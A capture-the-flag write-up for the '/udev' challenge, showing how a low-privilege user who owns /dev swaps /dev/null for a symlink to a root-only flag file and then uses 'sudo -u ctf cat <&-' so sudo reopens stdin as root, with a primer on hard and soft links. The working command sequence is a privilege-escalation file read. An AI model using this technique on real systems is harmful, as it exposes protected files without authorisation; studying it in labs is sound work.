/udev - true innovation
(9 solves)
I did not manage to solve the challenge in time, but I really enjoyed learning about it afterwards!
The description of the challange:
You may have heard of FUSE and UBLK, but those are just bandaids that don’t address the core issue Introducing “/udev”, finally giving the users full control over the /dev filesystem. You don’t need to be root anymore if you can just alter /dev as a low priv user :9Head:.
Additionally, we have a slash-udev.zip attachment.
We’re provided with two files: Dockerfile and run.sh. The Dockerfile is based on an Ubuntu image, and we can reach the running container over SSH as the ctf user, which has no password. The flag is being stored at /flag.txt, it belongs to root and only root can read it. When we’re trying to reach it as the ctf user, we get a permission denied error.
ctf@slash-udev-pod-main-slash-udev-479rf:/dev$ cat /flag.txtcat: /flag.txt: Permission deniedThe run.sh script is responsible for starting sshd, which is what lets us connect to the box in the first place. The instancer gave us copy-paste command to connect, so there’s nothing to figure out at this stage:
Beyond launching SSH, run.sh also hands the ctf user full ownership of /dev and /dev/null. /dev is the location in linux for special or devices files. /dev/null behaves like a bin, whatever get written to it, will be discarded. When we try to read it with
ctf@slash-udev-pod-main-slash-udev-479rf:/dev$ cat /dev/nullit returns “nothing”, but what we actually get back is the end-of-file (EOF) marker right away.
Another detail here is that the Dockerfile compiles its own copy of sudo from a specific sudo-project branch: git clone --depth=1 --branch v1.9.17p2 https://github.com/sudo-project/sudo/. That tag happens to be the latest release, but chasing it leads nowhere - it’s a red herring.
Vulnerability Analysis
In linux everything is a file, so we can remove /dev/null, and create a soft symlink to /flag.txt in its place.
A link is the association between a filename and the actual data sitting on the filesystem. In fact, every time you create a file you’re already making a hard link - you’re tying a filename to some content. You can add more hard links yourself with ln <original path> <new link path>, which gives you two filenames that both refer to the exact same file body.
Take a simple example:
echo "abc" > a.txtRunning ls -al shows this:
total 0drwxrwxrwx 1 ubuntu ubuntu 4096 Oct 14 01:38 .drwxrwxrwx 1 ubuntu ubuntu 4096 Oct 14 01:38 ..-rwxrwxrwx 1 ubuntu ubuntu 3 Oct 14 01:38 a.txtThat lone 1 sitting between the permission bits (-rwxrwxrwx) and the owner (ubuntu) is the link count - how many hard links currently point at that content. Add one with:
ln a.txt b.txtand the count ticks up to 2:
total 0drwxrwxrwx 1 ubuntu ubuntu 4096 Oct 14 01:40 .drwxrwxrwx 1 ubuntu ubuntu 4096 Oct 14 01:38 ..-rwxrwxrwx 2 ubuntu ubuntu 3 Oct 14 01:38 a.txt-rwxrwxrwx 2 ubuntu ubuntu 3 Oct 14 01:38 b.txtTo confirm the two names really share the same content, use ls -li, which also prints the inode number tied to that content at the start of each line:
total 09570149208518500 -rwxrwxrwx 2 ubuntu ubuntu 3 Oct 14 01:38 a.txt9570149208518500 -rwxrwxrwx 2 ubuntu ubuntu 3 Oct 14 01:38 b.txtSoft links (also called symbolic links) work quite differently. They can point at both regular and non-regular files, and unlike hard links they work across separate filesystems. A soft link isn’t an ordinary file. You create one by adding the -s flag:
ln -s a.txt c.txtNow ls -li reveals a distinct inode number for c.txt, and ls renders it differently to flag it as a special file:
total 0 9570149208518500 -rwxrwxrwx 2 ubuntu ubuntu 3 Oct 14 01:38 a.txt 9570149208518500 -rwxrwxrwx 2 ubuntu ubuntu 3 Oct 14 01:38 b.txt12103423999168826 lrwxrwxrwx 1 ubuntu ubuntu 5 Oct 14 01:45 c.txt -> a.txtThe key difference shows up when you delete the original. With a hard link, the content survives - removing one name just drops the link count, and any remaining name still reads the data fine. A soft link, on the other hand, only ever stored a path, so once the original filename is gone it dangles and complains that the file or directory no longer exists.
Exploit
As I wrote earlier, as ctf user we own /dev/ and /dev/null. Also, /dev/null is a file - can be read from and written to.
rm /dev/nullThe next step is to replace /dev/null with a symbolic link pointing at /flag.txt. Since we own /dev, the null entry inside it is ours to redefine. A hard link won’t work here - attempting one fails with:
ln: failed to create hard link '/dev/null' => '/flag.txt': Invalid cross-device link
Soft links are far more forgiving, though you can point one at essentially anything, across filesystem boundaries included. So we create it with:
ln -s /flag.txt /dev/null
Checking /dev afterwards with ls -li /dev confirms that null now points to /flag.txt:
ctf@slash-udev-pod-main-slash-udev-sw46h:~$ ls -li /devtotal 0 13 lrwxrwxrwx 1 root root 13 Oct 13 23:56 fd -> /proc/self/fd 8 crw-rw-rw- 1 root root 1, 7 Oct 13 23:56 full 72127127 drwxrwxrwt 2 root root 40 Oct 13 23:56 mqueue 17 lrwxrwxrwx 1 ctf ctf 9 Oct 13 23:58 null -> /flag.txt 12 lrwxrwxrwx 1 root root 8 Oct 13 23:56 ptmx -> pts/ptmx 1 drwxr-xr-x 2 root root 0 Oct 13 23:56 pts 7 crw-rw-rw- 1 root root 1, 8 Oct 13 23:56 random 1 drwxrwxrwt 2 root root 40 Oct 13 23:56 shm 16 lrwxrwxrwx 1 root root 15 Oct 13 23:56 stderr -> /proc/self/fd/2 14 lrwxrwxrwx 1 root root 15 Oct 13 23:56 stdin -> /proc/self/fd/0 15 lrwxrwxrwx 1 root root 15 Oct 13 23:56 stdout -> /proc/self/fd/16308726851 -rw-rw-rw- 1 root root 0 Oct 13 23:56 termination-log 9 crw-rw-rw- 1 root root 5, 0 Oct 13 23:56 tty 11 crw-rw-rw- 1 root root 1, 9 Oct 13 23:56 urandom 10 crw-rw-rw- 1 root root 1, 5 Oct 13 23:56 zeroctf@slash-udev-pod-main-slash-udev-sw46h:~$To process, we need to know 4 basics of linux:
<is the basic operator for redirecting input into a command.&tells the shell that the next character refers to a file descriptor (FD) rather than a filename. For instance, 0 is the file descriptor for stdin (standard input).- A
-placed after&is special shell syntax for closing a file descriptor - which effectively means “hand back EOF straight away.” (That’s exactly what reading /dev/null normally gives you.) sudo -uruns a program as a chosen user instead of the default root. Plainsudo <command>means “run this as root,” but adding-u <user>redirects it to that specific account.sudoitself is a privileged binary - it has to be, given that its whole job is managing who may act as whom.
With those pieces in place, we can assemble the final payload:
ctf@slash-udev-pod-main-slash-udev-sw46h:~$ sudo -u ctf cat <&-ECSC{seizing_the_means_of_corruption}ctf@slash-udev-pod-main-slash-udev-sw46h:~$Why does it work?
sudoensures that stdin, stdout and stderr are open before launching the command. If one of them is closed, it opens/dev/nulland assigns the resulting file descriptor to it. This happens before sudo drops privileges and executes the command.- That reopening happens inside the privileged
sudoprocess, so theopen()call runs as root. sudoopens/dev/nullby path and trusts it blindly - it never checks that the path still points to the real null device.- Since we own
/dev, we swapped/dev/nullfor a symlink to/flag.txt, sosudo’s “safe” reopen actually opens the flag as root and binds it to fd0. cat <&-closes stdin on purpose, which is exactly the condition that triggerssudo’s reopen behaviour.- Permissions on an open fd are checked only once, at
open()time - whichsudoalready passed as root - so by the timecatruns asctf, it just reads the already-open flag and prints it.